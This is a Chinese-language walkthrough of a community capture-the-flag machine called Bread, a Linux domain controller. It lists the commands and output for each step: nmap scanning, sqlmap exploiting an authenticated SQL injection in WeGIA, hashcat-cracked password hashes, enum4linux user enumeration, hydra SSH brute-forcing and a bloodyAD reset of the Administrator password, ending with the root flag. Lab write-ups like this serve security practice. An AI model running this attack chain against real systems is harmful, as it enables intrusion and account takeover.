群友靶机bread复现

Bread

nmap -p- 192.168.10.9
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-07 00:04 EST
Nmap scan report for always-pc (192.168.10.9)
Host is up (0.00053s latency).
Not shown: 65520 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
MAC Address: 08:00:27:E4:70:87 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

一个明显的域控，但是Linux的。

80端口是个wegia，默认账密成功登录。存在域名bread.dsz。进入后发现没什么可以利用的地方。

wegia网上的漏洞很少，测试了一下前台RCE还有一个路径穿越貌似都没有。CVE-2026-23723，貌似是有的。Ch35h1r3c47/CVE-2026-23723-POC: This is a lightweight Python helper script designed to automate the generation of sqlmap-compatible PoC files for the authenticated error-based SQL injection vulnerability in WeGIA (≤ 3.6.1), identified as GHSA-xfmp-2hf9-gfjp.根据poc，直接dump下来看数据库。

sqlmap -r wegia_sqlmap.req -D wegia -T pessoa --dump --threads=2 --batch

hashcat 爆破一波哈希，爆出来5个。

052b9300e2accdcce8ba5fdc0c3156bfc6ac91d59b1ff9b5abae9a9289139208:so7j\\'Amyp
c0753f25cdfbd93ec25ae2b0bd47fc1e7253e8fb1b100e5ecc8865c4dd7e317f:Rachel#1
4e8b9b738ed459efe3ace34267f32c7cd60860535189e5b8c48863db393d510f:Grad08$$
cc17749eefc35b4112f3019400860c563fb7fbfdc591571291dfd638d85e9b93:#1GhettoFabolous
0e03e9fc0fe968ea2b79925257692e577315a5a24657ada2c119903b67259bff:Password123!!

但是现在还缺少用户名信息。

enum4linux -a 192.168.10.9发现用户

=======================================( Users on 192.168.10.9 )=======================================
                                                                                                                                                                                          
index: 0x1 RID: 0x1f5 acb: 0x00000000 Account: Guest    Name:   Desc: Built-in account for guest access to the computer/domain                                                            
index: 0x2 RID: 0x44f acb: 0x00000000 Account: ll104567 Name:   Desc: 
index: 0x3 RID: 0x1f6 acb: 0x00000000 Account: krbtgt   Name:   Desc: Key Distribution Center Service Account
index: 0x4 RID: 0x1f4 acb: 0x00000000 Account: Administrator    Name:   Desc: Built-in account for administering the computer/domain

user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[ll104567] rid:[0x44f]

发现用户ll104567。

hydra -l ll104567 -P pass.txt 192.168.10.9 ssh -t 4 -V -f成功测试出密码Password123!!

BREAD\ll104567@dc1:~$ id
uid=3000015(BREAD\ll104567) gid=100(users) groups=100(users),3000009(BUILTIN\users),3000015(BREAD\ll104567),3000017
BREAD\ll104567@dc1:~$ cat user.txt
flag{user-95d1001b82778a2bdc5eb0dc02dc7dd3}

bloodyAD --host 192.168.10.9 -d bread.dsz -u ll104567 -p 'Password123!!' get object Administrator

注意到

因此直接重置密码即可。

bloodyAD --host 192.168.10.9 -d bread.dsz -u ll104567 -p 'Password123!!' set password Administrator 'Hacker@123!'

BREAD\ll104567@dc1:~$ su  Administrator
Password: 
root@dc1:/home/BREAD/ll104567# id
uid=0(root) gid=100(users) groups=100(users),3000000(BUILTIN\administrators),3000004(BREAD\domain admins),3000005(BREAD\denied rodc password replication group),3000006(BREAD\schema admins),3000007(BREAD\enterprise admins),3000008(BREAD\group policy creator owners),3000009(BUILTIN\users),3000017
root@dc1:/home/BREAD/ll104567# cat /root/root.txt
flag{root-1827d131ca4010e942b8de222943847d}